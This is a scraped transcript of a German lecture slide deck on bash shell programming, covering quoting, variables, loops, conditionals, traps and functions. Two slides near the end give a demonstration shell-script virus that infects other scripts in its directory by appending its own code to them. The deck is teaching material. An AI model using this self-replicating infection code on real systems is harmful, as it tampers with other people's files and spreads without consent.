Die Präsentation wird geladen. Bitte warten

Die Präsentation wird geladen. Bitte warten

Shell-Programmierung

Ähnliche Präsentationen


Präsentation zum Thema: "Shell-Programmierung"—  Präsentation transkript:

1 Shell-Programmierung
Alois Schütte AOSD

2 Shell-Programmierung
In diesem Teil der Veranstaltung soll in die Shell-Programmierung eingeführt werden. Quoting und Wildcards Ausführung von Shell-Programmen Variablen Kontrollstrukturen Fehlerbehandlung Funktionen Wir werden als Grundlage die bash als Shell verwenden. Shell-Programme werden u.a. von Systemadministratoren zur Automation immer wieder kehrender Aufgaben und von Software-Entwicklern für Installationsautomatisierung verwendet. Alois Schütte AOSD

3 Shell-Programmierung: Quoting und Wildcards
Das Quoten dient dazu, bestimmte Zeichen mit einer Sonderbedeutung vor der Shell zu 'verstecken' um zu verhindern, dass sie ersetzt werden. Nachfolgend einige Zeichen mit spezieller Bedeutung innerhalb der Shell: ; Befehls-Trennzeichen & Hintergrund-Verarbeitung ( ) Befehls-Gruppierung | Pipe < > & Umlenkungssymbole * ? [ ] ~ Meta-Zeichen für Dateinamen ` ` Befehls-Substitution $ Variablen-Substitution Beispiele: -> Tafel Alois Schütte AOSD

4 Shell-Programmierung: Quoting und Wildcards
Die folgenden Zeichen können zum Quoten verwendet werden: " " Alles zwischen diesen Zeichen ist buchstabengetreu zu interpretieren. Ausnahmen sind folgende Zeichen, die ihre spezielle Bedeutung beibehalten: $ ` " '' Alles zwischen diesen Zeichen wird uninterpretiert genommen, mit Ausnahme eines weiteren ' und \ \ entwertet das nachfolgende Zeichen Beispiele: -> Tafel Alois Schütte AOSD

5 Shell-Programmierung: Quoting und Wildcards
Bei der Angabe von Dateinamen können Wildcards verwendet werden, um mehrere Dateien gleichzeitig anzusprechen oder um nicht den vollen Dateinamen ausschreiben zu müssen. Die wichtigsten Meta-Zeichen sind: * Eine Folge von keinem, einem oder mehreren Zeichen ? Ein einzelnes Zeichen [abc] eines der Zeichen in der Klammer [a-q] ein Zeichen aus dem angegebenen Bereich [!abc] ein Zeichen, das nicht in der Klammer ist ~ Home-Verzeichnis des aktuellen Benutzers ~name Home-Verzeichnis des Benutzers name Beispiele: -> Tafel Alois Schütte AOSD

6 Shell-Programmierung: Ausführung von Shell-Programmen
Ein Shell-Programm wird in einer Datei als Folge von Anweisungen abgelegt und mittels des Kommandos sh (bash, ksh, csh) aufgerufen. Ist die Datei ausführbar, kann das Programm durch Aufruf der Datei ausgeführt werden. $ cat dl pwd ls –l echo Dies ist das letzte Kommando des Shellprogramms $ $ sh dl /users/as/Vorlesungen/Unix/Skript/Shellprogrammierung insgesamt 4 -rw-r--r as users Jan 15 10:17 dl Dies ist das letzte Kommando des Shellprogramms $ chmod +x dl $ dl -rwxr-xr-x 1 as users Jan 15 10:17 dl Alois Schütte AOSD

7 Shell-Programmierung: Ausführung von Shell-Programmen
Um Shell-Programme von beliebiger Stelle im Dateisystem ausführen zu können, sollte man ein eigenes Verzeichnis dafür anlegen und dieses Verzeichnis in den Pfad einfügen. $ mkdir $HOME/bin $ mv dl $HOME/bin $ PATH=$PATH:$HOME/bin $ $ cd /tmp/ $ dl ………… Achtung Man kann Shell-Programmen beliebige Namen geben. Vermieden werden sollten Namen, die schon von Systemprogrammen verwendet werden, da dies unerwünschte Effekte haben kann: Systemkommandos sind nicht mehr wie gewohnt zugänglich. Es können Unendlichschleifen entstehen. Alois Schütte AOSD

8 Shell-Programmierung: Ausführung von Shell-Programmen
$ mv dl date $ PATH=.:$PATH $ date /users/as/Vorlesungen/Unix/Skript/Shellprogrammierung insgesamt 4 -rwxr-xr-x 1 as users Jan 16 10:00 date Dies ist das letzte Kommando des Shellprogramms $ $ /bin/date Mit Jan 16 10:04:59 CET 2002 $ $ mv dl ls $ cat ls pwd ls -l echo Dies ist das letzte Kommando des Shellprogramms $ ls /users/as/Vorlesungen/Unix/Skript/Shellprogrammierung ………. Nun kann das Unix date-Komando nicht mehr wie gewohnt eingegeben werden – man muss jetzt den vollen Pfadname angeben, um Unix date auszuführen. Unendlichschleifen durch Umbenennung in ls. Dies kann verhindert werden, in dem man im Skript den vollen Pfadnamen angibt. Alois Schütte AOSD

9 Shell-Programmierung: Variablen - Positionsparameter
Variablen sind die grundlegenden Datenobjekte, die außer Dateien von Shell-Programmen verändert werden können. Zu unterscheiden sind: Positionsparameter (positional parameter), Spezialparameter (spezial parameter) und Variablen mit Namen (named variables) Ein Positionsparameter ist eine Variable in einem Shell-Programm, deren Wert durch ein Argument bei einem Programmaufruf gesetzt wird. Positionsparameter werden durch $1, $2, $3 usw. angesprochen. In einem Shell-Programm sind bis zu 9 solcher Parameter verwendbar. $ cat pp echo 1. Positionsparameter: $1 echo 2. Positionsparameter: $2 $ $ pp eins zwei 1. Positionsparameter: eins 2. Positionsparameter: zwei $0 ist der Programm-Name Alois Schütte AOSD

10 Shell-Programmierung: Variablen - Spezialparameter
Durch Spezialparameter $# $* kann auf die Anzahl der Argumente und auf den gesamten Argumentestring zugegriffen werden. $ cat get.num echo Anzahl der Argumente: $# $ $ get.num Test des Programms Anzahl der Argumente: 3 $ cat show.param echo Die Parameter sind: $* $ show.param Test des Programms Die Parameter sind: Test des Programms Alois Schütte AOSD

11 Shell-Programmierung: Variablen - Spezialparameter
Weiter vordefinierte Variablen sind: $n Aufrufparameter n (n<=9) $? Rückgabewert des letzten Kommandos $$ Prozeßnummer der aktiven Shell $! Prozeßnummer des letzten Hintergrundprozesses ERRNO Fehlernummer des letzten fehlgeschlagenen Systemaufrufs PWD Aktuelles Verzeichnis OLDPWD Vorheriges Verzeichnis Alois Schütte AOSD

12 Shell-Programmierung: Variablen - Wertzuweisung
Eine selbst definierte Variable kann durch Variable=Wert definiert und initialisiert werden. Dabei darf links und rechts vom Gleichheitszeichen kein Leerzeichen stehen. Der Wert einer Variablen wird durch dem Namen vorgestelltes $-Zeichen ausgedrückt. Ein Variablenname muss mit einem Buchstaben oder einem Unterstreichstrich beginnen. Der Rest kann aus Buchstaben, Ziffern und Unterstreichstrichen aufgebaut sein. Kommandonamen sind als Namen für Variablen nicht erlaubt. Vordefinierte Variable können nicht zur eigenen Namensgebung verwendet werden. Folgende (nicht vollständige) Liste beschreibt vordefinierte Variablen: HOME beschreibt das Homeverzeichnis IFS gibt die Trennzeichen ein (internal field seperators: space, tab, carriage return) LOGNAME hat als Wert den Login-Name PATH ist der Suchweg der Shell zum Finden von ausführbaren Dateien PS1, PS2 sind die Promtzeichen Alois Schütte AOSD

13 Shell-Programmierung: Variablen - Wertzuweisung
Den Wert aller Variablen zusammen mit ihre Namen kann man durch das Kommando env auflisten. $ env PWD=/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung ... TERM=xterm HOME=/users/as XNLSPATH=/usr/X11R6/lib/X11/nls PATH=/users/as/bin:/usr/local/bin:/usr/bin:/usr/X11R6/bin:/bin:/usr/lib/java/bin:/usr/games/bin:opt/kde2/bin:. $ Einer Variablen kann man einen Wert zuweisen: $ x=Jenni $ Den Wert einer Variablen kann man mit dem echo Kommando einfach ausgeben: $ echo $HOME /users/as $ echo $x Jenni $ Alois Schütte AOSD

14 Shell-Programmierung: Variablen - Wertzuweisung
Neben der direkten Zuweisung eines Literals kann eine Variable auch Werte erhalten durch read Kommando Umlenkung der Ausgabe von Kommandos in Variablen Zuweisen von Werten anderer Variable Um eine Benutzereingabe einzulesen, kann das read Komando verwendet werden: read variable $ cat tel_list Alois Schuette INF Ursula Schmunck INF $ $ cat num.please echo Telefonverzeichnis echo -n "Name: " read name grep -i $name tel_list $ num.please Telefonverzeichnis Name: Schmunck Die Verwendung wird gezeigt, an einem Programm, das eine Datei mit Telefonnummern nach Zeilen durchsucht, die Namen enthalten, die der Benutzer eingeben kann. Alois Schütte AOSD

15 Shell-Programmierung: Variablen - Wertzuweisung
Durch die Kommandoersetzung kann die Ausgabe eines Programms so umgelenkt werden, dass eine Variable den resultierenden Wert zugewiesen bekommt. Die allgemeine Form ist: Variable=`Kommando` $ cat pt time=`date | cut -c12-19` echo aktuelle Zeit: $time $ $ pt aktuelle Zeit: 16:16:33 Auch auf der rechten Seite des Zuweisungsoperators (=) können Werte von Variablen auftauchen: $ cat prog prog=$0 echo das Programm $prog wurde gestartet $ $ prog das Programm ./prog wurde gestartet Alois Schütte AOSD

16 Shell-Programmierung: Variablen - Substitution
Unter Variablen-Substitution versteht man verschiedene Methoden um die Inhalte von Variablen zu benutzen. Das umfasst sowohl die einfache Zuweisung eines Wertes an eine Variable als auch einfache Möglichkeiten zur Fallunterscheidung. In den moderneren Shell-Versionen (bash, ksh)existieren auch die Möglichkeiten, auf Substrings von Variableninhalten zuzugreifen. Bei allen Angaben ist der Doppelpunkt optional. Wenn er aber angegeben wird, muss die Variable einen Wert enthalten. ${Variable} Nutzt den Wert von Variable. Die Klammern müssen nicht mit angegeben werden, wenn die Variable von Trennzeichen umgeben ist. ${Variable:-Wert} Nutzt den Wert von Variable. Falls die Variable nicht gesetzt ist, wird Wert benutzt. ${Variable:=Wert} Nutzt den Wert von Variable. Falls die Variable nicht gesetzt ist, wird Wert benutzt, und Variable erhält den Wert. ${Variable:?Wert} Nutzt den Wert von Variable. Falls die Variable nicht gesetzt ist, wird der Wert ausgegeben und die Shell beendet. Wenn kein Wert angegeben wurde, wird der Text“ parameter null or not set“ ausgegeben. ${Variable:+Wert} Nutzt den Wert, falls die Variable gesetzt ist, andernfalls nichts. Alois Schütte AOSD

17 Shell-Programmierung: Kontrollstrukturen
Die Shell stellt alle von "normalen" Programmiersprachen bekannte Kontrollstrukturen zur Verfügung: Kommentare erlauben es, den Programmtext zu dokumentieren. Durch das "here document" ist es möglich, im Programm Zeilen einzufügen, die als Standardeingabe von Kommandos des Programms verwendet werden. Ein exit Kommando zusammen mit return Kodes macht es möglich, ein Programm gezielt zu verlassen, bevor das Textende erreicht ist. Mittels for- und while-Konstrukten sind Wiederholungen realisierbar. Durch if- und case Anweisungen können Entscheidungen programmiert werden. break und continue können das Abarbeiten von Schleifen beeinflussen. Kommentare sind Texte, die einem #-Zeichen folgen; sie enden am Zeilenende. Allgemeine Form: #Kommentartext<CR> Alois Schütte AOSD

18 Shell-Programmierung: Kontrollstrukturen – here document
Innerhalb eines Shellprogramms ist es möglich, Zeilen als Eingabe von Kommandos zu markieren. Das Kommando verwendet dann diese Zeilen als Stanadardeingabe. Dadurch entfällt es, zuerst eine Hilfsdatei zu erzeugen, von der das Kommando dann liest und diese anschließend zu löschen. Allgemeine Form: Kommando <<Delimiter<CR> … Eingabezeilen … Delimiter<CR> Diese Art der Eingabeumlenkung wird häufig verwendet, um interaktiven Programmen innerhalb von Shell-Programmen benutzen zu können. $ cat bodyMassIndex.sh # Body Mass Index berechen # Formel: gewicht/groesse*groesse [kg]/[meter]*[meter] echo -n "Gewicht in Kilo: " read gewicht echo -n "Groesse in Meter: " read groesse bc << EOF scale=2 $gewicht / ($groesse * $groesse) EOF $ $ bodyMassIndex.sh Gewicht in Kilo: 81.5 Groesse in Meter: 1.76 26.37 $ Alois Schütte AOSD

19 Shell-Programmierung: Kontrollstrukturen – Return Kode
Unix Kommandos sind i.A. so realisiert, dass sie einen Return Kode besitzen, der anzeigt, ob das Kommando erfolgreich oder fehlerhaft beendet wurde. Unix Konvention ist, dass ein Return Kode 0 anzeigt, dass das Kommando erfolgreich beendet wurde, ein Wert ungleich 0 zeigt einen Fehler an. In einem Shell-Programm kann der Return Kode durch das exit Kommando an den Aufrufer weitergegeben werden; der Aufrufer kann den Exit Status durch Abfrage des Spezialparameters $? erkennen. $ cat bodyMassIndex.sh # Body Mass Index berechen # Formel: gewicht/groesse*groesse [kg]/[meter]*[meter] echo -n "Gewicht in Kilo: " read gewicht echo -n "Groesse in Meter: " read groesse bc << EOF scale=2 $gewicht / ($groesse * $groesse) EOF exit 0 $ $ bodyMassIndex.sh Gewicht in Kilo: 81.5 Groesse in Meter: 1.76 26.37 $ echo $? $ Alois Schütte AOSD

20 Shell-Programmierung: Kontrollstrukturen – Schleifen
Die for-Schleife führt eine Kommandosequenz aus, einmal für jedes Element einer Liste. Allgemeine Form: for Variable<CR> in Variablen_Liste do<CR> Kommando_1<CR> Kommando_2<CR> … Kommando_n<CR> done<CR> $ cat moveFile.sh echo -n "type in the directory path: " read path for file in memo1 memo2 memo3 do mv $file $path/$file done exit 0 $ Alois Schütte AOSD

21 Shell-Programmierung: Kontrollstrukturen – Schleifen
Im letzten Beispiel wurden die Dateinamen (memo1,…) explizit im Programm angegeben. Will man die Dateinamen beim Aufruf angeben können, so kann der in-Teil der for-Schleife entfallen $ cat mvFile2.sh echo -n "type in the directory path: " read path for file do mv $file $path/$file done exit 0 $ $ mv.file1 xy* type in the directory path: /tmp Alois Schütte AOSD

22 Shell-Programmierung: Kontrollstrukturen – Schleifen
Bei einer while Schleife werden zwei Gruppen von Kommandos verwendet: die Kommandos der do-while Guppe werden solange wiederholt, wie die Auswertung des letzten Kommandos der while-Gruppe den Returnstatus true (Kommando erfolgreich ausgeführt) liefert. Allgemeine Form: while<CR> Kommando_1<CR> … Kommando_n<CR> do Kommando_n+1<CR> … Kommando_n+m<CR> done<CR> $ cat telEintrag.sh while echo -n "Name: " read name echo -n "Telefon: " read telefon do echo $name INF $telefon >> telListe done $ Alois Schütte AOSD

23 Shell-Programmierung: Kontrollstrukturen – Entscheidungen
Ein if-Kommando bewirkt, dass die then-Kommandosequenz nur ausgeführt wir, wenn das letzte Kommando der if-Liste erfolgreich abgeschlossen wurde; ansonsten wird die else- Kommandosequenz ausgeführt. Allgemeine Form: if<CR> Kommando_1<CR> Kommando_2<CR> … Kommando_n<CR> then Kommando_n+1<CR> Kommando_n+2<CR> … else Kommando_n+m+1<CR> Kommando_n+m+2<CR> … fi<CR> Alois Schütte AOSD

24 Shell-Programmierung: Kontrollstrukturen – Entscheidungen
Das Shell-Programm serach such mittels grep ein Wort in einem File. $ cat search echo -n "type in the word and file name: " read word file if grep $word $file > /dev/null 2>&1 then echo $word is in $file else echo $word is NOT in $file fi $ $ search type in the word and file name: if search if is in search type in the word and file name: do search do is NOT in search Alois Schütte AOSD

25 Shell-Programmierung: Kontrollstrukturen – Entscheidungen
In while- und if-Kommandos sind häufig Tests durchzuführen. Dazu existiert in Unix ein eigenes Kommando, das test-Kommando. $ cat searchMitTest echo -n "type in the word and file name: " read word file if test -r $file # file exists and is readable then if grep $word $file > /dev/null 2>&1 echo $word is in $file else echo $word is NOT in $file fi echo "no such file: $file" $ Alois Schütte AOSD

26 Shell-Programmierung: Kontrollstrukturen – Entscheidungen
Achtung: Wenn ein test Kommando in einem Skript nicht so funktioniert, wie es eigentlich definiert ist, kann dies folgende Ursachen haben: es existiert ein Shell Programm mit Namen test es existiert ein ausführbares Programm (z.B. C-Programm) mit Namen test. Deshalb sollten Sie als Programmnamen nie test verwenden. In Shell-Programmen kann man die Kurzform des Test-Kommandos „[…]“ verwenden; dies mach Programme besser lesbar: if [ -r $file ] # file exists and is readable then if grep $word $file > /dev/null 2>&1 echo $word is in $file else echo $word is NOT in $file fi echo "no such file: $file" Alois Schütte AOSD

27 Shell-Programmierung: Kontrollstrukturen – Entscheidungen
Durch das case-esac Kommando kann eine Kommandofolge ausgewählt werden, die zu einem Muster passt. Die Muster enden mit der runden Klammer, die dazu gehörenden Kommandos enden mit ";;". Allgemeine Form: case wort<CR> in <CR> Muster_1 )<CR> Kommando_1_1<CR> … Kommando_1_n<CR> ;;<CR> Muster_2 )<CR> Kommando_2_1<CR> … Kommando_2_m<CR> ;;<CR> … *)<CR> Kommando_*_1<CR> … Kommando_*_t<CR> ;;<CR> esac<CR> In Aufschreibungsreihenfolge wird geprüft, welches Muster mit mit "Wort" übereinstimmt, dann werden die entsprechenden Kommandos ausgeführt. Gibt es keine Übereinstimmung, wird die *-Kommandofolge ausgeführt. In den Mustern sind die Metazeichen "*?[]" erlaubt. Alois Schütte AOSD

28 Shell-Programmierung: Kontrollstrukturen – Entscheidungen
$ cat set.term echo -n "type in your terminal type: " read term case $term in vt100) TERM=vt100;; xterm) TERM=xterm;; *) echo unknown terminal esac export $TERM $ Alois Schütte AOSD

29 Shell-Programmierung: Kontrollstrukturen – break, continue
Das Kommando break stoppt die Ausführung einer Schleife oder einer Verzweigung und die Programmausführung geht nach dem korrespondierenden done, fi oder esac weiter. Das continue Kommando verzweigt zur nächsten Iteration einer Schleife und überspringt so die nach ihm stehenden Kommandos des Schleifenrumpfes. while : do clear echo " A Auflisten des aktuellen Verzeichisses" echo " S datei Schreiben" echo " L datei Loeschen" echo " z Datei anZeigen" echo " E Ende" echo -n " Auswahl: " read auswahl case $auswahl in [aA]) (ls -l | more) ; sleep 5 ;; [sS]) echo -n "Datei: " read datei ; vi $datei [lL]) echo -n "Datei: " read datei ; rm -i $datei [zZ]) echo -n "Datei: " read datei ; more $datei ; sleep 5 [eE]) echo Bye! exit *) echo Auswahl nicht erlaubt! read esac done Alois Schütte AOSD

30 Shell-Programmierung: Kontrollstrukturen – Fehlerbehandlung
Folgende Fehler können beim Ablauf eines Shell-Skripts auftreten: eine E/A Umlenkung ist nicht möglich, weil z.B. eine Eingabedatei nicht existiert; eine Kommando existiert nicht oder ist nicht ausführbar; ein Kommando terminiert abnormal, z.B. durch einen Speicherfehler; ein Kommando terminiert korrekt, liefert aber einen Exit-Status verschieden 0; im Skript ist ein Syntaxfehler, z.B. if…else ohne fi; ein Signal erreicht die Shell, z.B. durch CTR_C oder kill-Kommando; ein Fehler tritt bei einem Shell-internen Kommando auf. Die Shell reagiert per Default wie folgt: Fehler vom Typ 1-4 werden ignoriert; es wird mit der Bearbeitung des nächsten Kommandos im Skript fortgefahren und (außer bei 4) wird eine Fehlermeldung ausgegeben. Fehler vom Typ 5-7 bewirken einen Abbruch des Shell-Skripts. Alois Schütte AOSD

31 Shell-Programmierung: Kontrollstrukturen – Fehlerbehandlung
Eine Shell-Prozedur wird normalerweise durch die Signale abgebrochen. Auf diese Signale (außer Signal 9) kann per Programm mittels des trap-Kommandos reagiert werden: Ignorieren trap '' n Reaktion per Default trap n Ausführen eines Kommandos trap 'Kommando' n n Bedeutung 1 hangup (exit) 2 interrupt (CTR_C) 3 quit 9 kill 15 software termination (kill) Alois Schütte AOSD

32 Shell-Programmierung: Kontrollstrukturen – Fehlerbehandlung
Ein Skript soll bei Abbruch durch CTR_C die Meldung "Bye bye" ausgeben $ cat byeBye.ksh trap 'echo Bye bye; exit 1' 2 echo Start while : do date sleep 10 done $ -> Live Zum (elementaren) Debuggen von Shell-Programmen existieren zwei Optionen für die Shell: -v Programm druckt die Eingabezeilen des Shellprogramms, so wie sie gelesen werden -x Programm druck Kommandos und ihre Argumente, so wie sie ausgeführt werden Alois Schütte AOSD

33 Shell-Programmierung: Kontrollstrukturen – Funktionen
Shell-Funktionen bieten die Möglichkeit, mehrere Kommandos zusammenzufassen bzw. Kommandos mit vielen Parametern abzukürzen. Shell-Funktionen dürfen nicht mit Shell-Programmen verwechselt werden: Ein Shell-Programm ist eine Datei, in der Kommandos stehen. Eine Shell-Funktion wird von der Shell verwaltet und liegt im Speicher, ist also ohne Plattenzugriff abrufbar. Eine Shell-Funktion wird wie folgt definiert: FunktionName () { Kommandos } Eine Shell-Funktion wird wie ein Shell-Programm aufgerufen, die Parameter folgen dem Funktionsnamen. Mit Unset FunKtionName kann die Funktion entfernt werden. $ cat fkt1.ksh c() { cd $* cwd=`pwd` # change dir PS1="`basename $cwd` $ " # change prompt } $ Alois Schütte AOSD

34 Shell-Programmierung: Kontrollstrukturen – Funktionen
Eine Funktion "c" zum Change Directory mit Ändern des Prompt. $ cat fkt1.ksh c() { cd $* cwd=`pwd` # change dir PS1="`basename $cwd` $ " # change prompt } $ $ . fkt1.ksh $ $ c /tmp tmp $ tmp $ c as $ pwd /users/as as $ Alois Schütte AOSD

35 Shell-Programmierung: Kontrollstrukturen – Funktionen
Auch Rekursive Funktionen sind möglich. Anbei eine rekursive Funktion zur Berechnung der i-ten Fibonacci Zahl: $ cat fibo.sh fibo() { if [ $1 -eq 1 -o $1 -eq 2 ]; then ret=1 echo $ret; return; fi nminus1=`expr $1 - 1` nminus2=`expr $1 - 2` res1=`fibo $nminus1` res2=`fibo $nminus2` ret=`expr $res1 + $res2` echo $ret } if [ $# -ne 1 ] ; then echo "usage $0 <int>”; xit 1 x=`fibo $1` echo $x exit 0$ $ fibo.sh 6 8 $ Alois Schütte AOSD

36 Shell-Programmierung: Kontrollstrukturen – Funktionen
Vorsicht: Es existieren auch Shell-Skript Viren. Sie sind sehr einfach zu programmieren. $ cat v.sh #!/bin/bash # purpose: Demostrating simple implementation of a shell virus. # May only be used for demonstation purposes !!! # def.: A virus is a program that reproduces its own code by # attaching itself to other executable files in such a way # that the virus code is executed when the infected # executable file is executed. # author: Idee: Funktion, die erkennt, ob im selben Verzeichnis ein Shell-Skript ist (file Kommando) Funktion, die erkennt, ob ein Skript bereits befallen ist (diff letzte Zeilen) Funktion mit Schadkode Alois Schütte AOSD

37 Shell-Programmierung: Kontrollstrukturen – Funktionen
len=26 prog=$0 attack() { # virus malware code echo [`date`]: virus infected programm runs malware $1 >> /tmp/viruslog } infect(){ # virus infection code if [ -w $prog ]; then tail -n $len $prog >> $1 echo [`date`]: programm $1 infected by virus >> /tmp/viruslog fi check() { # virsus detection code tail -n $len $prog > $$v.0 tail -n $len $1 > $$v.1 diff -q $$v.0 $$v.1 > /dev/null infected=$? rm $$v.0 $$v.1 for file in `file * | grep "shell script" | cut -f1 -d:` ; do # for each shell script check $file # test $file already infected if [ $infected -ne 0 ]; then # infect $file infect $file done attack $prog # do some bad things exit 0 $ tail –f /tmp/viruslog zuerst s.sh ausführen -> Programm ist nicht infiziert v.sh ausführen -> Programm s.sh ist nun infiziert neues Programm x.sh schreiben: #!/bin/sh; echo jenni s.sh laufen lassen -> x.sh ist nun ebenfalls infiziert -> Live Alois Schütte AOSD

38 Shell-Programmierung: weitere Themen
Weitere Themen wären z.B.: reguläre Ausdrücke Subshells restricted shells Arrays Die o.a. weiterführenden Themen sind gut beschreiben von Mendel Cooper in Alois Schütte AOSD


Herunterladen ppt "Shell-Programmierung"

Ähnliche Präsentationen


Google-Anzeigen